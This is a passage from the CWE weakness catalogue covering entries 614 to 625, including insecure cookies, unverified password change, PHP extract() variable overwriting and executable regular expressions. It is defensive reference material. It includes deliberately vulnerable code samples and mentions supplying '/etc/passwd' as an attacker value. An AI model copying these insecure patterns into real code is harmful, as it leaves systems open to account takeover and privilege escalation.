The lack of proper session expiration may improve the likely success of certain attacks. For example, an attacker may intercept a session ID, possibly via a network sniffer or Cross-site Scripting attack. Although short session expiration times do not help if a stolen token is immediately used, they will protect against ongoing replaying of the session ID. In another scenario, a user might access a web site from a shared computer (such as at a library, Internet cafe, or open work environment). Insufficient Session Expiration could allow an attacker to use the browser's back button to access web pages previously accessed by the victim.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	47		Insufficient Session Expiration

CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute

Weakness ID : 614 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The Secure attribute for sensitive cookies in HTTPS sessions is not set, which could cause the user agent to send those cookies in plaintext over an HTTP session.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	311	Missing Encryption of Sensitive Data	686

Applicable Platforms

Technology : Web Based *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Implementation

Always set the secure attribute when the cookie should sent via HTTPS only.

Demonstrative Examples

Example 1:

The snippet of code below, taken from a servlet doPost() method, sets an accountID cookie (sensitive) without calling setSecure(true).

Example Language: Java *(bad)*

```
Cookie c = new Cookie(ACCOUNT_ID, acctID);
response.addCookie(c);
```

Observed Examples

Reference	Description
CVE-2004-0462	A product does not set the Secure attribute for sensitive cookies in HTTPS sessions, which could cause the user agent to send those cookies in plaintext over an HTTP session with the product. *http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0462*
CVE-2008-3663	A product does not set the secure flag for the session cookie in an https session, which can cause the cookie to be sent in http requests and make it easier for remote attackers to capture this cookie. *http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3663*
CVE-2008-3662	A product does not set the secure flag for the session cookie in an https session, which can cause the cookie to be sent in http requests and make it easier for remote attackers to capture this cookie. *http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3662*
CVE-2008-0128	A product does not set the secure flag for a cookie in an https session, which can cause the cookie to be sent in http requests and make it easier for remote attackers to capture this cookie. *http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0128*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	966	SFP Secondary Cluster: Other Exposures	888	1943

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
102	Session Sidejacking

CWE-615: Inclusion of Sensitive Information in Source Code Comments

Weakness ID : 615 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

While adding general comments is very useful, some programmers tend to leave important data, such as: filenames related to the web application, old links or links which were not meant to be browsed by users, old code fragments, etc.

Extended Description

An attacker who finds these comments can map the application's structure and files, expose hidden parts of the site, and study the fragments of code to reverse engineer the application, which may help develop further attacks against the site.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	540	Inclusion of Sensitive Information in Source Code	1113
PeerOf	V	546	Suspicious Comment	1118

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Distribution

Remove comments which have sensitive information about the design/implementation of the application. Some of the comments may be exposed to the user and affect the security posture of the application.

Demonstrative Examples

Example 1:

The following comment, embedded in a JSP, will be displayed in the resulting HTML output.

Example Language: JSP *(bad)*

```
<!-- FIXME: calling this with more than 30 args kills the JDBC server -->
```

Observed Examples

Reference	Description
CVE-2007-6197	Version numbers and internal hostnames leaked in HTML comments. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6197*
CVE-2007-4072	CMS places full pathname of server in HTML comment. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4072*
CVE-2009-2431	blog software leaks real username in HTML comment. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2431*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

CWE-616: Incomplete Identification of Uploaded File Variables (PHP)

Weakness ID : 616 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The PHP application uses an old method for processing uploaded files by referencing the four global variables that are set for each file (e.g. $varname, $varname_size, $varname_name, $varname_type). These variables could be overwritten by attackers, causing the application to process unauthorized files.

Extended Description

These global variables could be overwritten by POST requests, cookies, or other methods of populating or overwriting these variables. This could be used to read or process arbitrary files by providing values such as "/etc/passwd".

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	345	Insufficient Verification of Data Authenticity	758
PeerOf	V	473	PHP External Variable Modification	1005

Weakness Ordinalities

Primary :

Applicable Platforms

Language : PHP *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Files or Directories Modify Files or Directories	

Potential Mitigations

Phase: Architecture and Design

Use PHP 4 or later.

Phase: Architecture and Design

If you must support older PHP versions, write your own version of is_uploaded_file() and run it against $HTTP_POST_FILES['userfile']))

Phase: Implementation

For later PHP versions, reference uploaded files using the $HTTP_POST_FILES or $_FILES variables, and use is_uploaded_file() or move_uploaded_file() to ensure that you are dealing with an uploaded file.

Demonstrative Examples

Example 1:

As of 2006, the "four globals" method is probably in sharp decline, but older PHP applications could have this issue.

In the "four globals" method, PHP sets the following 4 global variables (where "varname" is application-dependent):

Example Language: PHP *(bad)*

```
$varname = name of the temporary file on local machine
$varname_size = size of file
$varname_name = original name of file provided by client
$varname_type = MIME type of the file
```

Example 2:

"The global $_FILES exists as of PHP 4.1.0 (Use $HTTP_POST_FILES instead if using an earlier version). These arrays will contain all the uploaded file information."

Example Language: PHP *(bad)*

```
$_FILES['userfile']['name'] - original filename from client
$_FILES['userfile']['tmp_name'] - the temp filename of the file on the server
```

** note: 'userfile' is the field name from the web form; this can vary.

Observed Examples

Reference	Description
CVE-2002-1460	Forum does not properly verify whether a file was uploaded or if the associated variables were set by POST, allowing remote attackers to read arbitrary files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1460*
CVE-2002-1759	Product doesn't check if the variables for an upload were set by uploading the file, or other methods such as $_POST. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1759*
CVE-2002-1710	Product does not distinguish uploaded file from other files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1710*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	994	SFP Secondary Cluster: Tainted Input to Variable	888	1957

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Incomplete Identification of Uploaded File Variables (PHP)
Software Fault Patterns	SFP25		Tainted input to variable

References

[REF-502]Shaun Clowes. "A Study in Scarlet - section 5, "File Upload"".

CWE-617: Reachable Assertion

Weakness ID : 617 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product contains an assert() or similar statement that can be triggered by an attacker, which leads to an application exit or other behavior that is more severe than necessary.

Extended Description

While assertion is good for catching logic errors and reducing the chances of reaching more serious vulnerability conditions, it can still lead to a denial of service.

For example, if a server handles multiple simultaneous connections, and an assert() occurs in one single connection that causes all other connections to be dropped, this is a reachable assertion that leads to a denial of service.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	670	Always-Incorrect Control Flow Implementation	1308
CanFollow	B	193	Off-by-one Error	449

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	670	Always-Incorrect Control Flow Implementation	1308

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	389	Error Conditions, Return Values, Status Codes	1863

Weakness Ordinalities

Resultant :

Alternate Terms

assertion failure :

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart *An attacker that can trigger an assert statement can still lead to a denial of service if the relevant code can be triggered by an attacker, and if the scope of the assert() extends beyond the attacker's own session.*	

Potential Mitigations

Phase: Implementation

Make sensitive open/close operation non reachable by directly user-controlled data (e.g. open/close resources)

Phase: Implementation

Strategy = Input Validation

Perform input validation on user data.

Demonstrative Examples

Example 1:

In the excerpt below, an AssertionError (an unchecked exception) is thrown if the user hasn't entered an email address in an HTML form.

Example Language: Java *(bad)*

```
String email = request.getParameter("email_address");
assert email != null;
```

Observed Examples

Reference	Description
CVE-2006-6767	FTP server allows remote attackers to cause a denial of service (daemon abort) via crafted commands which trigger an assertion failure. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6767*
CVE-2006-6811	Chat client allows remote attackers to cause a denial of service (crash) via a long message string when connecting to a server, which causes an assertion failure. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6811*
CVE-2006-5779	Product allows remote attackers to cause a denial of service (daemon crash) via LDAP BIND requests with long authcid names, which triggers an assertion failure. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5779*
CVE-2006-4095	Product allows remote attackers to cause a denial of service (crash) via certain queries, which cause an assertion failure. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4095*
CVE-2006-4574	Chain: security monitoring product has an off-by-one error that leads to unexpected length values, triggering an assertion. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4574*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	850	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)	844	1904
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	1959
MemberOf	C	1140	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)	1133	1987

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	MET01-J		Never use assertions to validate method arguments
Software Fault Patterns	SFP3		Use of an improper API

CWE-618: Exposed Unsafe ActiveX Method

Weakness ID : 618 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

An ActiveX control is intended for use in a web browser, but it exposes dangerous methods that perform actions that are outside of the browser's security model (e.g. the zone or domain).

Extended Description

ActiveX controls can exercise far greater control over the operating system than typical Java or javascript. Exposed methods can be subject to various vulnerabilities, depending on the implemented behaviors of those methods, and whether input validation is performed on the provided arguments. If there is no integrity checking or origin validation, this method could be invoked by attackers.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	749	Exposed Dangerous Method or Function	1377
PeerOf	V	623	Unsafe ActiveX Control Marked Safe For Scripting	1234

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	275	Permission Issues	1857

Weakness Ordinalities

Primary :

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Potential Mitigations

Phase: Implementation

If you must expose a method, make sure to perform input validation on all arguments, and protect against all possible vulnerabilities.

Phase: Architecture and Design

Use code signing, although this does not protect against any weaknesses that are already in the control.

Phase: Architecture and Design

Phase: System Configuration

Where possible, avoid marking the control as safe for scripting.

Observed Examples

Reference	Description
CVE-2007-1120	download a file to arbitrary folders. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1120*
CVE-2006-6838	control downloads and executes a url in a parameter *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6838*
CVE-2007-0321	resultant buffer overflow *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0321*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	977	SFP Secondary Cluster: Design	888	1947

References

[REF-503]Microsoft. "Developing Secure ActiveX Controls". 2005 April 3. < https://msdn.microsoft.com/en-us/library/ms885903.aspx >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-619: Dangling Database Cursor ('Cursor Injection')

Weakness ID : 619 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

If a database cursor is not closed properly, then it could become accessible to other users while retaining the same privileges that were originally assigned, leaving the cursor "dangling."

Extended Description

For example, an improper dangling cursor could arise from unhandled exceptions. The impact of the issue depends on the cursor's role, but SQL injection attacks are commonly possible.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	402	Transmission of Private Resources into a New Sphere ('Resource Leak')	875
CanFollow	B	404	Improper Resource Shutdown or Release	877

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	1864

Weakness Ordinalities

Primary : This could be primary when the programmer never attempts to close the cursor when finished with it.

Resultant :

Applicable Platforms

Language : SQL *(Prevalence = Undetermined)*

Background Details

A cursor is a feature in Oracle PL/SQL and other languages that provides a handle for executing and accessing the results of SQL queries.

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Application Data Modify Application Data	

Potential Mitigations

Phase: Implementation

Close cursors immediately after access to them is complete. Ensure that you close cursors if exceptions occur.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP24		Tainted input to command

References

[REF-505]David Litchfield. "The Oracle Hacker's Handbook".

[REF-506]David Litchfield. "Cursor Injection". < http://www.databasesecurity.com/dbsec/cursor-injection.pdf >.

CWE-620: Unverified Password Change

Weakness ID : 620 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

When setting a new password for a user, the product does not require knowledge of the original password, or using another form of authentication.

Extended Description

This could be used by an attacker to change passwords for another user, thus gaining the privileges associated with that user.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	287	Improper Authentication	630

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	1964

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	255	Credentials Management Errors	1855

Weakness Ordinalities

Primary :

Resultant :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity	

Potential Mitigations

Phase: Architecture and Design

When prompting for a password change, force the user to provide the original password in addition to the new password.

Phase: Architecture and Design

Do not use "forgotten password" functionality. But if you must, ensure that you are only providing information to the actual user, e.g. by using an email address or challenge question that the legitimate user already provided in the past; do not allow the current user to change this identity information until the correct password has been provided.

Demonstrative Examples

Example 1:

This code changes a user's password.

Example Language: PHP *(bad)*

```
$user = $_GET['user'];
$pass = $_GET['pass'];
$checkpass = $_GET['checkpass'];
if ($pass == $checkpass) {
   SetUserPassword($user, $pass);
}
```

While the code confirms that the requesting user typed the same new password twice, it does not confirm that the user requesting the password change is the same user whose password will be changed. An attacker can request a change of another user's password and gain control of the victim's account.

Observed Examples

Reference	Description
CVE-2007-0681	Web app allows remote attackers to change the passwords of arbitrary users without providing the original password, and possibly perform other unauthorized actions. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0681*
CVE-2000-0944	Web application password change utility doesn't check the original password. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0944*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	1876
MemberOf	C	930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management	928	1929
MemberOf	C	952	SFP Secondary Cluster: Missing Authentication	888	1936
MemberOf	C	1028	OWASP Top Ten 2017 Category A2 - Broken Authentication	1026	1975

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management
Software Fault Patterns	SFP31		Missing authentication

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-621: Variable Extraction Error

Weakness ID : 621 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product uses external input to determine the names of variables into which information is extracted, without verifying that the names of the specified variables are valid. This could cause the program to overwrite unintended variables.

Extended Description

For example, in PHP, extraction can be used to provide functionality similar to register_globals, a dangerous functionality that is frequently disabled in production systems. Calling extract() or import_request_variables() without the proper arguments could allow arbitrary global variables to be overwritten, including superglobals.

Similar functionality is possible in other interpreted languages, including custom languages.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	914	Improper Control of Dynamically-Identified Variables	1589
CanPrecede	B	471	Modification of Assumed-Immutable Data (MAID)	999

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Primary :

Applicable Platforms

Language : PHP *(Prevalence = Undetermined)*

Alternate Terms

Variable overwrite :

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *An attacker could modify sensitive data or program variables.*	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Use allowlists of variable names that can be extracted.

Phase: Implementation

Consider refactoring your code to avoid extraction routines altogether.

Phase: Implementation

In PHP, call extract() with options such as EXTR_SKIP and EXTR_PREFIX_ALL; call import_request_variables() with a prefix argument. Note that these capabilities are not present in all PHP versions.

Demonstrative Examples

Example 1:

This code uses the credentials sent in a POST request to login a user.

Example Language: PHP *(bad)*

```
//Log user in, and set $isAdmin to true if user is an administrator
function login($user,$pass){
    $query = buildQuery($user,$pass);
    mysql_query($query);
    if(getUserRole($user) == "Admin"){
        $isAdmin = true;
    }
}
$isAdmin = false;
extract($_POST);
login(mysql_real_escape_string($user),mysql_real_escape_string($pass));
```

The call to extract() will overwrite the existing values of any variables defined previously, in this case $isAdmin. An attacker can send a POST request with an unexpected third value "isAdmin" equal to "true", thus gaining Admin privileges.

Observed Examples

Reference	Description
CVE-2006-7135	extract issue enables file inclusion *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-7135*

Reference	Description
CVE-2006-7079	extract used for register_globals compatibility layer, enables path traversal *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-7079*
CVE-2007-0649	extract() buried in include files makes post-disclosure analysis confusing; original report had seemed incorrect. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0649*
CVE-2006-6661	extract() enables static code injection *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6661*
CVE-2006-2828	import_request_variables() buried in include files makes post-disclosure analysis confusing *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2828*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Notes

Research Gap

Probably under-reported for PHP. Under-studied for other interpreted languages.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP24		Tainted input to command

CWE-622: Improper Validation of Function Hook Arguments

Weakness ID : 622 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The product adds hooks to user-accessible API functions, but it does not properly validate the arguments. This could lead to resultant vulnerabilities.

Extended Description

Such hooks can be used in defensive software that runs with privileges, such as anti-virus or firewall, which hooks kernel calls. When the arguments are not validated, they could be used to bypass the protection scheme or attack the product itself.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	19

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations

Phase: Architecture and Design

Ensure that all arguments are verified, as defined by the API you are protecting.

Phase: Architecture and Design

Drop privileges before invoking such functions, if possible.

Observed Examples

Reference	Description
CVE-2007-0708	DoS in firewall using standard Microsoft functions *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0708*
CVE-2006-7160	DoS in firewall using standard Microsoft functions *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-7160*
CVE-2007-1376	function does not verify that its argument is the proper type, leading to arbitrary memory write *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1376*
CVE-2007-1220	invalid syscall arguments bypass code execution limits *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1220*
CVE-2006-4541	DoS in IDS via NULL argument *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4541*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	991	SFP Secondary Cluster: Tainted Input to Environment	888	1955

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP27		Tainted input to environment

CWE-623: Unsafe ActiveX Control Marked Safe For Scripting

Weakness ID : 623 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

An ActiveX control is intended for restricted use, but it has been marked as safe-for-scripting.

Extended Description

This might allow attackers to use dangerous functionality via a web page that accesses the control, which can lead to different resultant vulnerabilities, depending on the control's behavior.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1342
ChildOf	B	267	Privilege Defined With Unsafe Actions	583
PeerOf	B	618	Exposed Unsafe ActiveX Method	1226

Weakness Ordinalities

Primary :

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Architecture and Design

During development, do not mark it as safe for scripting.

Phase: System Configuration

After distribution, you can set the kill bit for the control so that it is not accessible from Internet Explorer.

Observed Examples

Reference	Description
CVE-2007-0617	control allows attackers to add malicious email addresses to bypass spam limits *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0617*
CVE-2007-0219	web browser uses certain COM objects as ActiveX *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0219*
CVE-2006-6510	kiosk allows bypass to read files *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6510*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	978	SFP Secondary Cluster: Implementation	888	1948

Notes

Research Gap

It is suspected that this is under-reported.

References

[REF-503]Microsoft. "Developing Secure ActiveX Controls". 2005 April 3. < https://msdn.microsoft.com/en-us/library/ms885903.aspx >.

[REF-510]Microsoft. "How to stop an ActiveX control from running in Internet Explorer". < https://support.microsoft.com/en-us/help/240797/how-to-stop-an-activex-control-from-running-in-internet-explorer >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-624: Executable Regular Expression Error

Weakness ID : 624 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product uses a regular expression that either (1) contains an executable component with user-controlled inputs, or (2) allows a user to enable execution by inserting pattern modifiers.

Extended Description

Case (2) is possible in the PHP preg_replace() function, and possibly in other languages when a user-controlled input is inserted into a string that is later parsed as a regular expression.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	136

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	19	Data Processing Errors	1849

Applicable Platforms

Language : PHP *(Prevalence = Undetermined)*

Language : Perl *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Implementation

The regular expression feature in some languages allows inputs to be quoted or escaped before insertion, such as \Q and \E in Perl.

Observed Examples

Reference	Description
CVE-2006-2059	Executable regexp in PHP by inserting "e" modifier into first argument to preg_replace *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2059*
CVE-2005-3420	Executable regexp in PHP by inserting "e" modifier into first argument to preg_replace *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3420*
CVE-2006-2878	Complex curly syntax inserted into the replacement argument to PHP preg_replace(), which uses the "/e" modifier *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2878*
CVE-2006-2908	Function allows remote attackers to execute arbitrary PHP code via the username field, which is used in a preg_replace function call with a /e (executable) modifier. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2908*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Notes

Research Gap

Under-studied. The existing PHP reports are limited to highly skilled researchers, but there are few examples for other languages. It is suspected that this is under-reported for all languages. Usability factors might make it more prevalent in PHP, but this theory has not been investigated.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP24		Tainted input to command

CWE-625: Permissive Regular Expression

Weakness ID : 625 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product uses a regular expression that does not sufficiently restrict the set of allowed values.

Extended Description

This effectively causes the regexp to accept substrings that match the pattern, which produces a partial comparison to the target. In some cases, this can lead to other weaknesses. Common errors include:

- not identifying the beginning and end of the target string
- using wildcards instead of acceptable character ranges
- others

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

